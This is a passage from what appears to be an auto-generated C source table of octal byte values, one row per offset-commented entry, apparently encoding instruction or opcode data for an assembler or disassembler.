/* 14908 */ 0241,0202,01,0301,01,0254,0120,0,
/* 14916 */ 0241,0202,05,0301,01,0254,0120,0,
/* 14924 */ 0241,0202,011,0301,01,0254,0120,0,
/* 14932 */ 0241,0202,021,0306,01,0255,0120,0,
/* 14940 */ 0241,0202,01,0306,01,0255,0120,0,
/* 14948 */ 0241,0202,021,0301,01,0274,0120,0,
/* 14956 */ 0241,0202,025,0301,01,0274,0120,0,
/* 14964 */ 0241,0202,031,0301,01,0274,0120,0,
/* 14972 */ 0241,0202,01,0301,01,0274,0120,0,
/* 14980 */ 0241,0202,05,0301,01,0274,0120,0,
/* 14988 */ 0241,0202,011,0301,01,0274,0120,0,
/* 14996 */ 0241,0202,021,0306,01,0275,0120,0,
/* 15004 */ 0241,0202,01,0306,01,0275,0120,0,
/* 15012 */ 0241,0202,021,0301,01,0236,0120,0,
/* 15020 */ 0241,0202,025,0301,01,0236,0120,0,
/* 15028 */ 0241,0202,031,0301,01,0236,0120,0,
/* 15036 */ 0241,0202,01,0301,01,0236,0120,0,
/* 15044 */ 0241,0202,05,0301,01,0236,0120,0,
/* 15052 */ 0241,0202,011,0301,01,0236,0120,0,
/* 15060 */ 0241,0202,021,0306,01,0237,0120,0,
/* 15068 */ 0241,0202,01,0306,01,0237,0120,0,
/* 15076 */ 0241,0202,021,0301,01,0256,0120,0,
/* 15084 */ 0241,0202,025,0301,01,0256,0120,0,
/* 15092 */ 0241,0202,031,0301,01,0256,0120,0,
/* 15100 */ 0241,0202,01,0301,01,0256,0120,0,
/* 15108 */ 0241,0202,05,0301,01,0256,0120,0,
/* 15116 */ 0241,0202,011,0301,01,0256,0120,0,
/* 15124 */ 0241,0202,021,0306,01,0257,0120,0,
/* 15132 */ 0241,0202,01,0306,01,0257,0120,0,
/* 15140 */ 0241,0202,021,0301,01,0276,0120,0,
/* 15148 */ 0241,0202,025,0301,01,0276,0120,0,
/* 15156 */ 0241,0202,031,0301,01,0276,0120,0,
/* 15164 */ 0241,0202,01,0301,01,0276,0120,0,
/* 15172 */ 0241,0202,05,0301,01,0276,0120,0,
/* 15180 */ 0241,0202,011,0301,01,0276,0120,0,
/* 15188 */ 0241,0202,021,0306,01,0277,0120,0,
/* 15196 */ 0241,0202,01,0306,01,0277,0120,0,
/* 15204 */ 0250,0202,021,0301,01,0102,0110,0,
/* 15212 */ 0250,0202,025,0301,01,0102,0110,0,
/* 15220 */ 0250,0202,031,0301,01,0102,0110,0,
/* 15228 */ 0250,0202,01,0301,01,0102,0110,0,
/* 15236 */ 0250,0202,05,0301,01,0102,0110,0,
/* 15244 */ 0250,0202,011,0301,01,0102,0110,0,
/* 15252 */ 0241,0202,021,0306,01,0103,0120,0,
/* 15260 */ 0241,0202,01,0306,01,0103,0120,0,
/* 15268 */ 0241,0201,021,0301,01,0137,0120,0,
/* 15276 */ 0240,0201,021,0301,01,0137,0110,0,
/* 15284 */ 0241,0201,025,0301,01,0137,0120,0,
/* 15292 */ 0240,0201,025,0301,01,0137,0110,0,
/* 15300 */ 0241,0201,031,0301,01,0137,0120,0,
/* 15308 */ 0240,0201,031,0301,01,0137,0110,0,
/* 15316 */ 0241,0201,0,0301,01,0137,0120,0,
/* 15324 */ 0240,0201,0,0301,01,0137,0110,0,
/* 15332 */ 0241,0201,04,0301,01,0137,0120,0,
/* 15340 */ 0240,0201,04,0301,01,0137,0110,0,
/* 15348 */ 0241,0201,010,0301,01,0137,0120,0,
/* 15356 */ 0240,0201,010,0301,01,0137,0110,0,
/* 15364 */ 0241,0201,023,0306,01,0137,0120,0,
/* 15372 */ 0240,0201,023,0306,01,0137,0110,0,
/* 15380 */ 0241,0201,02,0306,01,0137,0120,0,
/* 15388 */ 0240,0201,02,0306,01,0137,0110,0,
/* 15396 */ 0241,0201,021,0301,01,0135,0120,0,
/* 15404 */ 0240,0201,021,0301,01,0135,0110,0,
/* 15412 */ 0241,0201,025,0301,01,0135,0120,0,
/* 15420 */ 0240,0201,025,0301,01,0135,0110,0,
/* 15428 */ 0241,0201,031,0301,01,0135,0120,0,
/* 15436 */ 0240,0201,031,0301,01,0135,0110,0,
/* 15444 */ 0241,0201,0,0301,01,0135,0120,0,
/* 15452 */ 0240,0201,0,0301,01,0135,0110,0,
/* 15460 */ 0241,0201,04,0301,01,0135,0120,0,
/* 15468 */ 0240,0201,04,0301,01,0135,0110,0,
/* 15476 */ 0241,0201,010,0301,01,0135,0120,0,
/* 15484 */ 0240,0201,010,0301,01,0135,0110,0,
/* 15492 */ 0241,0201,023,0306,01,0135,0120,0,
/* 15500 */ 0240,0201,023,0306,01,0135,0110,0,
/* 15508 */ 0241,0201,02,0306,01,0135,0120,0,
/* 15516 */ 0240,0201,02,0306,01,0135,0110,0,
/* 15524 */ 0250,0201,021,0303,01,050,0110,0,
/* 15532 */ 0250,0201,025,0303,01,050,0110,0,
/* 15540 */ 0250,0201,031,0303,01,050,0110,0,
/* 15548 */ 0250,0201,021,0300,01,051,0101,0,
/* 15556 */ 0250,0201,025,0300,01,051,0101,0,
/* 15564 */ 0250,0201,031,0300,01,051,0101,0,
/* 15572 */ 0250,0201,021,0303,01,051,0101,0,
/* 15580 */ 0250,0201,025,0303,01,051,0101,0,
/* 15588 */ 0250,0201,031,0303,01,051,0101,0,
/* 15596 */ 0250,0201,0,0303,01,050,0110,0,
/* 15604 */ 0250,0201,04,0303,01,050,0110,0,
/* 15612 */ 0250,0201,010,0303,01,050,0110,0,
/* 15620 */ 0250,0201,0,0300,01,051,0101,0,
/* 15628 */ 0250,0201,04,0300,01,051,0101,0,
/* 15636 */ 0250,0201,010,0300,01,051,0101,0,
/* 15644 */ 0250,0201,0,0303,01,051,0101,0,
/* 15652 */ 0250,0201,04,0303,01,051,0101,0,
/* 15660 */ 0250,0201,010,0303,01,051,0101,0,
/* 15668 */ 0250,0201,01,0306,01,0156,0110,0,
/* 15676 */ 0250,0201,01,0306,01,0176,0101,0,
/* 15684 */ 0250,0201,023,0320,01,022,0110,0,
/* 15692 */ 0250,0201,027,0320,01,022,0110,0,
/* 15700 */ 0250,0201,033,0320,01,022,0110,0,
/* 15708 */ 0250,0201,01,0303,01,0157,0110,0,
/* 15716 */ 0250,0201,05,0303,01,0157,0110,0,
/* 15724 */ 0250,0201,011,0303,01,0157,0110,0,
/* 15732 */ 0250,0201,01,0303,01,0177,0101,0,
/* 15740 */ 0250,0201,05,0303,01,0177,0101,0,
/* 15748 */ 0250,0201,011,0303,01,0177,0101,0,
/* 15756 */ 0250,0201,021,0303,01,0157,0110,0,
/* 15764 */ 0250,0201,025,0303,01,0157,0110,0,
/* 15772 */ 0250,0201,031,0303,01,0157,0110,0,
/* 15780 */ 0250,0201,021,0303,01,0177,0101,0,
/* 15788 */ 0250,0201,025,0303,01,0177,0101,0,
/* 15796 */ 0250,0201,031,0303,01,0177,0101,0,
/* 15804 */ 0250,0201,023,0303,01,0157,0110,0,
/* 15812 */ 0250,0201,027,0303,01,0157,0110,0,
/* 15820 */ 0250,0201,033,0303,01,0157,0110,0,
/* 15828 */ 0250,0201,023,0303,01,0177,0101,0,
/* 15836 */ 0250,0201,027,0303,01,0177,0101,0,
/* 15844 */ 0250,0201,033,0303,01,0177,0101,0,
/* 15852 */ 0250,0201,02,0303,01,0157,0110,0,
/* 15860 */ 0250,0201,06,0303,01,0157,0110,0,
/* 15868 */ 0250,0201,012,0303,01,0157,0110,0,
/* 15876 */ 0250,0201,02,0303,01,0177,0101,0,
/* 15884 */ 0250,0201,06,0303,01,0177,0101,0,
/* 15892 */ 0250,0201,012,0303,01,0177,0101,0,
/* 15900 */ 0250,0201,022,0303,01,0157,0110,0,
/* 15908 */ 0250,0201,026,0303,01,0157,0110,0,
/* 15916 */ 0250,0201,032,0303,01,0157,0110,0,
/* 15924 */ 0250,0201,022,0303,01,0177,0101,0,
/* 15932 */ 0250,0201,026,0303,01,0177,0101,0,
/* 15940 */ 0250,0201,032,0303,01,0177,0101,0,
/* 15948 */ 0250,0201,03,0303,01,0157,0110,0,
/* 15956 */ 0250,0201,07,0303,01,0157,0110,0,
/* 15964 */ 0250,0201,013,0303,01,0157,0110,0,
/* 15972 */ 0250,0201,03,0303,01,0177,0101,0,
/* 15980 */ 0250,0201,07,0303,01,0177,0101,0,
/* 15988 */ 0250,0201,013,0303,01,0177,0101,0,
/* 15996 */ 0241,0201,0,0300,01,022,0120,0,
/* 16004 */ 0240,0201,0,0300,01,022,0110,0,
/* 16012 */ 0241,0201,021,0306,01,026,0120,0,
/* 16020 */ 0240,0201,021,0306,01,026,0110,0,
/* 16028 */ 0250,0201,021,0306,01,027,0101,0,
/* 16036 */ 0241,0201,0,0311,01,026,0120,0,
/* 16044 */ 0240,0201,0,0311,01,026,0110,0,
/* 16052 */ 0250,0201,0,0311,01,027,0101,0,
/* 16060 */ 0241,0201,0,0300,01,026,0120,0,
/* 16068 */ 0240,0201,0,0300,01,026,0110,0,
/* 16076 */ 0241,0201,021,0306,01,022,0120,0,
/* 16084 */ 0240,0201,021,0306,01,022,0110,0,
/* 16092 */ 0250,0201,021,0306,01,023,0101,0,
/* 16100 */ 0241,0201,0,0311,01,022,0120,0,
/* 16108 */ 0240,0201,0,0311,01,022,0110,0,
/* 16116 */ 0250,0201,0,0311,01,023,0101,0,
/* 16124 */ 0250,0201,01,0303,01,0347,0101,0,
/* 16132 */ 0250,0201,05,0303,01,0347,0101,0,
/* 16140 */ 0250,0201,011,0303,01,0347,0101,0,
/* 16148 */ 0250,0202,01,0303,01,052,0110,0,
/* 16156 */ 0250,0202,05,0303,01,052,0110,0,
/* 16164 */ 0250,0202,011,0303,01,052,0110,0,
/* 16172 */ 0250,0201,021,0303,01,053,0101,0,
/* 16180 */ 0250,0201,025,0303,01,053,0101,0,
/* 16188 */ 0250,0201,031,0303,01,053,0101,0,
/* 16196 */ 0250,0201,0,0303,01,053,0101,0,
/* 16204 */ 0250,0201,04,0303,01,053,0101,0,
/* 16212 */ 0250,0201,010,0303,01,053,0101,0,
/* 16220 */ 0250,0201,021,0306,01,0156,0110,0,
/* 16228 */ 0250,0201,021,0306,01,0176,0101,0,
/* 16236 */ 0250,0201,022,0306,01,0176,0110,0,
/* 16244 */ 0250,0201,021,0306,01,0326,0101,0,
/* 16252 */ 0250,0201,023,0306,01,020,0110,0,
/* 16260 */ 0250,0201,023,0306,01,021,0101,0,
/* 16268 */ 0241,0201,023,0300,01,020,0120,0,
/* 16276 */ 0240,0201,023,0300,01,020,0110,0,
/* 16284 */ 0241,0201,023,0300,01,021,0102,0,
/* 16292 */ 0240,0201,023,0300,01,021,0101,0,
/* 16300 */ 0250,0201,02,0303,01,026,0110,0,
/* 16308 */ 0250,0201,06,0303,01,026,0110,0,
/* 16316 */ 0250,0201,012,0303,01,026,0110,0,
/* 16324 */ 0250,0201,02,0303,01,022,0110,0,
/* 16332 */ 0250,0201,06,0303,01,022,0110,0,
/* 16340 */ 0250,0201,012,0303,01,022,0110,0,
/* 16348 */ 0250,0201,02,0306,01,020,0110,0,
/* 16356 */ 0250,0201,02,0306,01,021,0101,0,
/* 16364 */ 0241,0201,02,0300,01,020,0120,0,
/* 16372 */ 0240,0201,02,0300,01,020,0110,0,
/* 16380 */ 0241,0201,02,0300,01,021,0102,0,
/* 16388 */ 0240,0201,02,0300,01,021,0101,0,
/* 16396 */ 0250,0201,021,0303,01,020,0110,0,
/* 16404 */ 0250,0201,025,0303,01,020,0110,0,
/* 16412 */ 0250,0201,031,0303,01,020,0110,0,
/* 16420 */ 0250,0201,021,0300,01,021,0101,0,
/* 16428 */ 0250,0201,025,0300,01,021,0101,0,
/* 16436 */ 0250,0201,031,0300,01,021,0101,0,
/* 16444 */ 0250,0201,021,0303,01,021,0101,0,
/* 16452 */ 0250,0201,025,0303,01,021,0101,0,
/* 16460 */ 0250,0201,031,0303,01,021,0101,0,
/* 16468 */ 0250,0201,0,0303,01,020,0110,0,
/* 16476 */ 0250,0201,04,0303,01,020,0110,0,
/* 16484 */ 0250,0201,010,0303,01,020,0110,0,
/* 16492 */ 0250,0201,0,0300,01,021,0101,0,
/* 16500 */ 0250,0201,04,0300,01,021,0101,0,
/* 16508 */ 0250,0201,010,0300,01,021,0101,0,
/* 16516 */ 0250,0201,0,0303,01,021,0101,0,
/* 16524 */ 0250,0201,04,0303,01,021,0101,0,
/* 16532 */ 0250,0201,010,0303,01,021,0101,0,
/* 16540 */ 0241,0201,021,0301,01,0131,0120,0,
/* 16548 */ 0240,0201,021,0301,01,0131,0110,0,
/* 16556 */ 0241,0201,025,0301,01,0131,0120,0,
/* 16564 */ 0240,0201,025,0301,01,0131,0110,0,
/* 16572 */ 0241,0201,031,0301,01,0131,0120,0,
/* 16580 */ 0240,0201,031,0301,01,0131,0110,0,
/* 16588 */ 0241,0201,0,0301,01,0131,0120,0,
/* 16596 */ 0240,0201,0,0301,01,0131,0110,0,
/* 16604 */ 0241,0201,04,0301,01,0131,0120,0,
/* 16612 */ 0240,0201,04,0301,01,0131,0110,0,
/* 16620 */ 0241,0201,010,0301,01,0131,0120,0,
/* 16628 */ 0240,0201,010,0301,01,0131,0110,0,
/* 16636 */ 0241,0201,023,0306,01,0131,0120,0,
/* 16644 */ 0240,0201,023,0306,01,0131,0110,0,
/* 16652 */ 0241,0201,02,0306,01,0131,0120,0,
/* 16660 */ 0240,0201,02,0306,01,0131,0110,0,
/* 16668 */ 0241,0201,021,0301,01,0126,0120,0,
/* 16676 */ 0240,0201,021,0301,01,0126,0110,0,
/* 16684 */ 0241,0201,025,0301,01,0126,0120,0,
/* 16692 */ 0240,0201,025,0301,01,0126,0110,0,
/* 16700 */ 0241,0201,031,0301,01,0126,0120,0,
/* 16708 */ 0240,0201,031,0301,01,0126,0110,0,
/* 16716 */ 0241,0201,0,0301,01,0126,0120,0,
/* 16724 */ 0240,0201,0,0301,01,0126,0110,0,
/* 16732 */ 0241,0201,04,0301,01,0126,0120,0,
/* 16740 */ 0240,0201,04,0301,01,0126,0110,0,
/* 16748 */ 0241,0201,010,0301,01,0126,0120,0,
/* 16756 */ 0240,0201,010,0301,01,0126,0110,0,
/* 16764 */ 0250,0202,041,0303,01,034,0110,0,
/* 16772 */ 0250,0202,045,0303,01,034,0110,0,
/* 16780 */ 0250,0202,051,0303,01,034,0110,0,
/* 16788 */ 0250,0202,01,0301,01,036,0110,0,
/* 16796 */ 0250,0202,05,0301,01,036,0110,0,
/* 16804 */ 0250,0202,011,0301,01,036,0110,0,
/* 16812 */ 0250,0202,021,0301,01,037,0110,0,
/* 16820 */ 0250,0202,025,0301,01,037,0110,0,
/* 16828 */ 0250,0202,031,0301,01,037,0110,0,
/* 16836 */ 0250,0202,041,0303,01,035,0110,0,
/* 16844 */ 0250,0202,045,0303,01,035,0110,0,
/* 16852 */ 0250,0202,051,0303,01,035,0110,0,
/* 16860 */ 0241,0201,01,0301,01,0153,0120,0,
/* 16868 */ 0240,0201,01,0301,01,0153,0110,0,
/* 16876 */ 0241,0201,05,0301,01,0153,0120,0,
/* 16884 */ 0240,0201,05,0301,01,0153,0110,0,
/* 16892 */ 0241,0201,011,0301,01,0153,0120,0,
/* 16900 */ 0240,0201,011,0301,01,0153,0110,0,
/* 16908 */ 0241,0201,041,0303,01,0143,0120,0,
/* 16916 */ 0240,0201,041,0303,01,0143,0110,0,
/* 16924 */ 0241,0201,045,0303,01,0143,0120,0,
/* 16932 */ 0240,0201,045,0303,01,0143,0110,0,
/* 16940 */ 0241,0201,051,0303,01,0143,0120,0,
/* 16948 */ 0240,0201,051,0303,01,0143,0110,0,
/* 16956 */ 0241,0202,01,0301,01,053,0120,0,
/* 16964 */ 0240,0202,01,0301,01,053,0110,0,
/* 16972 */ 0241,0202,05,0301,01,053,0120,0,
/* 16980 */ 0240,0202,05,0301,01,053,0110,0,
/* 16988 */ 0241,0202,011,0301,01,053,0120,0,
/* 16996 */ 0240,0202,011,0301,01,053,0110,0,
/* 17004 */ 0241,0201,041,0303,01,0147,0120,0,
/* 17012 */ 0240,0201,041,0303,01,0147,0110,0,
/* 17020 */ 0241,0201,045,0303,01,0147,0120,0,
/* 17028 */ 0240,0201,045,0303,01,0147,0110,0,
/* 17036 */ 0241,0201,051,0303,01,0147,0120,0,
/* 17044 */ 0240,0201,051,0303,01,0147,0110,0,
/* 17052 */ 0241,0201,041,0303,01,0374,0120,0,
/* 17060 */ 0240,0201,041,0303,01,0374,0110,0,
/* 17068 */ 0241,0201,045,0303,01,0374,0120,0,
/* 17076 */ 0240,0201,045,0303,01,0374,0110,0,
/* 17084 */ 0241,0201,051,0303,01,0374,0120,0,
/* 17092 */ 0240,0201,051,0303,01,0374,0110,0,
/* 17100 */ 0241,0201,01,0301,01,0376,0120,0,
/* 17108 */ 0240,0201,01,0301,01,0376,0110,0,
/* 17116 */ 0241,0201,05,0301,01,0376,0120,0,
/* 17124 */ 0240,0201,05,0301,01,0376,0110,0,
/* 17132 */ 0241,0201,011,0301,01,0376,0120,0,
/* 17140 */ 0240,0201,011,0301,01,0376,0110,0,
/* 17148 */ 0241,0201,021,0301,01,0324,0120,0,
/* 17156 */ 0240,0201,021,0301,01,0324,0110,0,
/* 17164 */ 0241,0201,025,0301,01,0324,0120,0,
/* 17172 */ 0240,0201,025,0301,01,0324,0110,0,
/* 17180 */ 0241,0201,031,0301,01,0324,0120,0,
/* 17188 */ 0240,0201,031,0301,01,0324,0110,0,
/* 17196 */ 0241,0201,041,0303,01,0354,0120,0,
/* 17204 */ 0240,0201,041,0303,01,0354,0110,0,
/* 17212 */ 0241,0201,045,0303,01,0354,0120,0,
/* 17220 */ 0240,0201,045,0303,01,0354,0110,0,
/* 17228 */ 0241,0201,051,0303,01,0354,0120,0,
/* 17236 */ 0240,0201,051,0303,01,0354,0110,0,
/* 17244 */ 0241,0201,041,0303,01,0355,0120,0,
/* 17252 */ 0240,0201,041,0303,01,0355,0110,0,
/* 17260 */ 0241,0201,045,0303,01,0355,0120,0,
/* 17268 */ 0240,0201,045,0303,01,0355,0110,0,
/* 17276 */ 0241,0201,051,0303,01,0355,0120,0,
/* 17284 */ 0240,0201,051,0303,01,0355,0110,0,
/* 17292 */ 0241,0201,041,0303,01,0334,0120,0,
/* 17300 */ 0240,0201,041,0303,01,0334,0110,0,
/* 17308 */ 0241,0201,045,0303,01,0334,0120,0,
/* 17316 */ 0240,0201,045,0303,01,0334,0110,0,
/* 17324 */ 0241,0201,051,0303,01,0334,0120,0,
/* 17332 */ 0240,0201,051,0303,01,0334,0110,0,
/* 17340 */ 0241,0201,041,0303,01,0335,0120,0,
/* 17348 */ 0240,0201,041,0303,01,0335,0110,0,
/* 17356 */ 0241,0201,045,0303,01,0335,0120,0,
/* 17364 */ 0240,0201,045,0303,01,0335,0110,0,
/* 17372 */ 0241,0201,051,0303,01,0335,0120,0,
/* 17380 */ 0240,0201,051,0303,01,0335,0110,0,
/* 17388 */ 0241,0201,041,0303,01,0375,0120,0,
/* 17396 */ 0240,0201,041,0303,01,0375,0110,0,
/* 17404 */ 0241,0201,045,0303,01,0375,0120,0,
/* 17412 */ 0240,0201,045,0303,01,0375,0110,0,
/* 17420 */ 0241,0201,051,0303,01,0375,0120,0,
/* 17428 */ 0240,0201,051,0303,01,0375,0110,0,
/* 17436 */ 0241,0201,01,0301,01,0333,0120,0,
/* 17444 */ 0240,0201,01,0301,01,0333,0110,0,
/* 17452 */ 0241,0201,05,0301,01,0333,0120,0,
/* 17460 */ 0240,0201,05,0301,01,0333,0110,0,
/* 17468 */ 0241,0201,011,0301,01,0333,0120,0,
/* 17476 */ 0240,0201,011,0301,01,0333,0110,0,
/* 17484 */ 0241,0201,01,0301,01,0337,0120,0,
/* 17492 */ 0240,0201,01,0301,01,0337,0110,0,
/* 17500 */ 0241,0201,05,0301,01,0337,0120,0,
/* 17508 */ 0240,0201,05,0301,01,0337,0110,0,
/* 17516 */ 0241,0201,011,0301,01,0337,0120,0,
/* 17524 */ 0240,0201,011,0301,01,0337,0110,0,
/* 17532 */ 0241,0201,021,0301,01,0337,0120,0,
/* 17540 */ 0240,0201,021,0301,01,0337,0110,0,
/* 17548 */ 0241,0201,025,0301,01,0337,0120,0,
/* 17556 */ 0240,0201,025,0301,01,0337,0110,0,
/* 17564 */ 0241,0201,031,0301,01,0337,0120,0,
/* 17572 */ 0240,0201,031,0301,01,0337,0110,0,
/* 17580 */ 0241,0201,021,0301,01,0333,0120,0,
/* 17588 */ 0240,0201,021,0301,01,0333,0110,0,
/* 17596 */ 0241,0201,025,0301,01,0333,0120,0,
/* 17604 */ 0240,0201,025,0301,01,0333,0110,0,
/* 17612 */ 0241,0201,031,0301,01,0333,0120,0,
/* 17620 */ 0240,0201,031,0301,01,0333,0110,0,
/* 17628 */ 0241,0201,041,0303,01,0340,0120,0,
/* 17636 */ 0240,0201,041,0303,01,0340,0110,0,
/* 17644 */ 0241,0201,045,0303,01,0340,0120,0,
/* 17652 */ 0240,0201,045,0303,01,0340,0110,0,
/* 17660 */ 0241,0201,051,0303,01,0340,0120,0,
/* 17668 */ 0240,0201,051,0303,01,0340,0110,0,
/* 17676 */ 0241,0201,041,0303,01,0343,0120,0,
/* 17684 */ 0240,0201,041,0303,01,0343,0110,0,
/* 17692 */ 0241,0201,045,0303,01,0343,0120,0,
/* 17700 */ 0240,0201,045,0303,01,0343,0110,0,
/* 17708 */ 0241,0201,051,0303,01,0343,0120,0,
/* 17716 */ 0240,0201,051,0303,01,0343,0110,0,
/* 17724 */ 0241,0202,01,0303,01,0146,0120,0,
/* 17732 */ 0241,0202,05,0303,01,0146,0120,0,
/* 17740 */ 0241,0202,011,0303,01,0146,0120,0,
/* 17748 */ 0241,0202,01,0301,01,0144,0120,0,
/* 17756 */ 0241,0202,05,0301,01,0144,0120,0,
/* 17764 */ 0241,0202,011,0301,01,0144,0120,0,
/* 17772 */ 0241,0202,021,0301,01,0144,0120,0,
/* 17780 */ 0241,0202,025,0301,01,0144,0120,0,
/* 17788 */ 0241,0202,031,0301,01,0144,0120,0,
/* 17796 */ 0241,0202,021,0303,01,0146,0120,0,
/* 17804 */ 0241,0202,025,0303,01,0146,0120,0,
/* 17812 */ 0241,0202,031,0303,01,0146,0120,0,
/* 17820 */ 0250,0202,01,0304,01,0170,0110,0,
/* 17828 */ 0250,0202,05,0304,01,0170,0110,0,
/* 17836 */ 0250,0202,011,0304,01,0170,0110,0,
/* 17844 */ 0250,0202,01,0300,01,0172,0110,0,
/* 17852 */ 0250,0202,05,0300,01,0172,0110,0,
/* 17860 */ 0250,0202,011,0300,01,0172,0110,0,
/* 17868 */ 0250,0202,01,0306,01,0130,0110,0,
/* 17876 */ 0250,0202,05,0306,01,0130,0110,0,
/* 17884 */ 0250,0202,011,0306,01,0130,0110,0,
/* 17892 */ 0250,0202,01,0300,01,0130,0110,0,
/* 17900 */ 0250,0202,05,0300,01,0130,0110,0,
/* 17908 */ 0250,0202,011,0300,01,0130,0110,0,
/* 17916 */ 0250,0202,01,0300,01,0174,0110,0,
/* 17924 */ 0250,0202,05,0300,01,0174,0110,0,
/* 17932 */ 0250,0202,011,0300,01,0174,0110,0,
/* 17940 */ 0250,0202,022,0300,01,052,0110,0,
/* 17948 */ 0250,0202,026,0300,01,052,0110,0,
/* 17956 */ 0250,0202,032,0300,01,052,0110,0,
/* 17964 */ 0250,0202,02,0300,01,072,0110,0,
/* 17972 */ 0250,0202,06,0300,01,072,0110,0,
/* 17980 */ 0250,0202,012,0300,01,072,0110,0,
/* 17988 */ 0250,0202,021,0306,01,0131,0110,0,
/* 17996 */ 0250,0202,025,0306,01,0131,0110,0,
/* 18004 */ 0250,0202,031,0306,01,0131,0110,0,
/* 18012 */ 0250,0202,021,0300,01,0131,0110,0,
/* 18020 */ 0250,0202,025,0300,01,0131,0110,0,
/* 18028 */ 0250,0202,031,0300,01,0131,0110,0,
/* 18036 */ 0250,0202,021,0300,01,0174,0110,0,
/* 18044 */ 0250,0202,025,0300,01,0174,0110,0,
/* 18052 */ 0250,0202,031,0300,01,0174,0110,0,
/* 18060 */ 0250,0202,01,0305,01,0171,0110,0,
/* 18068 */ 0250,0202,05,0305,01,0171,0110,0,
/* 18076 */ 0250,0202,011,0305,01,0171,0110,0,
/* 18084 */ 0250,0202,01,0300,01,0173,0110,0,
/* 18092 */ 0250,0202,05,0300,01,0173,0110,0,
/* 18100 */ 0250,0202,011,0300,01,0173,0110,0,
/* 18108 */ 0241,0201,041,0303,01,0164,0120,0,
/* 18116 */ 0241,0201,045,0303,01,0164,0120,0,
/* 18124 */ 0241,0201,051,0303,01,0164,0120,0,
/* 18132 */ 0241,0201,01,0301,01,0166,0120,0,
/* 18140 */ 0241,0201,05,0301,01,0166,0120,0,
/* 18148 */ 0241,0201,011,0301,01,0166,0120,0,
/* 18156 */ 0241,0202,021,0301,01,051,0120,0,
/* 18164 */ 0241,0202,025,0301,01,051,0120,0,
/* 18172 */ 0241,0202,031,0301,01,051,0120,0,
/* 18180 */ 0241,0201,041,0303,01,0165,0120,0,
/* 18188 */ 0241,0201,045,0303,01,0165,0120,0,
/* 18196 */ 0241,0201,051,0303,01,0165,0120,0,
/* 18204 */ 0241,0201,041,0303,01,0144,0120,0,
/* 18212 */ 0241,0201,045,0303,01,0144,0120,0,
/* 18220 */ 0241,0201,051,0303,01,0144,0120,0,
/* 18228 */ 0241,0201,01,0301,01,0146,0120,0,
/* 18236 */ 0241,0201,05,0301,01,0146,0120,0,
/* 18244 */ 0241,0201,011,0301,01,0146,0120,0,
/* 18252 */ 0241,0202,021,0301,01,067,0120,0,
/* 18260 */ 0241,0202,025,0301,01,067,0120,0,
/* 18268 */ 0241,0202,031,0301,01,067,0120,0,
/* 18276 */ 0241,0201,041,0303,01,0145,0120,0,
/* 18284 */ 0241,0201,045,0303,01,0145,0120,0,
/* 18292 */ 0241,0201,051,0303,01,0145,0120,0,
/* 18300 */ 0250,0202,01,0306,01,0213,0101,0,
/* 18308 */ 0250,0202,05,0306,01,0213,0101,0,
/* 18316 */ 0250,0202,011,0306,01,0213,0101,0,
/* 18324 */ 0250,0202,01,0300,01,0213,0101,0,
/* 18332 */ 0250,0202,05,0300,01,0213,0101,0,
/* 18340 */ 0250,0202,011,0300,01,0213,0101,0,
/* 18348 */ 0250,0202,021,0306,01,0213,0101,0,
/* 18356 */ 0250,0202,025,0306,01,0213,0101,0,
/* 18364 */ 0250,0202,031,0306,01,0213,0101,0,
/* 18372 */ 0250,0202,021,0300,01,0213,0101,0,
/* 18380 */ 0250,0202,025,0300,01,0213,0101,0,
/* 18388 */ 0250,0202,031,0300,01,0213,0101,0,
/* 18396 */ 0250,0202,01,0301,01,0304,0110,0,
/* 18404 */ 0250,0202,05,0301,01,0304,0110,0,
/* 18412 */ 0250,0202,011,0301,01,0304,0110,0,
/* 18420 */ 0250,0202,021,0301,01,0304,0110,0,
/* 18428 */ 0250,0202,025,0301,01,0304,0110,0,
/* 18436 */ 0250,0202,031,0301,01,0304,0110,0,
/* 18444 */ 0241,0202,01,0303,01,0215,0120,0,
/* 18452 */ 0240,0202,01,0303,01,0215,0110,0,
/* 18460 */ 0241,0202,05,0303,01,0215,0120,0,
/* 18468 */ 0240,0202,05,0303,01,0215,0110,0,
/* 18476 */ 0241,0202,011,0303,01,0215,0120,0,
/* 18484 */ 0240,0202,011,0303,01,0215,0110,0,
/* 18492 */ 0241,0202,05,0301,01,066,0120,0,
/* 18500 */ 0240,0202,05,0301,01,066,0110,0,
/* 18508 */ 0241,0202,011,0301,01,066,0120,0,
/* 18516 */ 0240,0202,011,0301,01,066,0110,0,
/* 18524 */ 0241,0202,01,0303,01,0165,0120,0,
/* 18532 */ 0241,0202,05,0303,01,0165,0120,0,
/* 18540 */ 0241,0202,011,0303,01,0165,0120,0,
/* 18548 */ 0241,0202,01,0301,01,0166,0120,0,
/* 18556 */ 0241,0202,05,0301,01,0166,0120,0,
/* 18564 */ 0241,0202,011,0301,01,0166,0120,0,
/* 18572 */ 0241,0202,021,0301,01,0167,0120,0,
/* 18580 */ 0241,0202,025,0301,01,0167,0120,0,
/* 18588 */ 0241,0202,031,0301,01,0167,0120,0,
/* 18596 */ 0241,0202,01,0301,01,0167,0120,0,
/* 18604 */ 0241,0202,05,0301,01,0167,0120,0,
/* 18612 */ 0241,0202,011,0301,01,0167,0120,0,
/* 18620 */ 0241,0202,021,0301,01,0166,0120,0,
/* 18628 */ 0241,0202,025,0301,01,0166,0120,0,
/* 18636 */ 0241,0202,031,0301,01,0166,0120,0,
/* 18644 */ 0241,0202,021,0303,01,0165,0120,0,
/* 18652 */ 0241,0202,025,0303,01,0165,0120,0,
/* 18660 */ 0241,0202,031,0303,01,0165,0120,0,
/* 18668 */ 0241,0202,021,0301,01,015,0120,0,
/* 18676 */ 0240,0202,021,0301,01,015,0110,0,
/* 18684 */ 0241,0202,025,0301,01,015,0120,0,
/* 18692 */ 0240,0202,025,0301,01,015,0110,0,
/* 18700 */ 0241,0202,031,0301,01,015,0120,0,
/* 18708 */ 0240,0202,031,0301,01,015,0110,0,
/* 18716 */ 0241,0202,01,0301,01,014,0120,0,
/* 18724 */ 0240,0202,01,0301,01,014,0110,0,
/* 18732 */ 0241,0202,05,0301,01,014,0120,0,
/* 18740 */ 0240,0202,05,0301,01,014,0110,0,
/* 18748 */ 0241,0202,011,0301,01,014,0120,0,
/* 18756 */ 0240,0202,011,0301,01,014,0110,0,
/* 18764 */ 0241,0202,025,0301,01,026,0120,0,
/* 18772 */ 0240,0202,025,0301,01,026,0110,0,
/* 18780 */ 0241,0202,031,0301,01,026,0120,0,
/* 18788 */ 0240,0202,031,0301,01,026,0110,0,
/* 18796 */ 0241,0202,05,0301,01,026,0120,0,
/* 18804 */ 0240,0202,05,0301,01,026,0110,0,
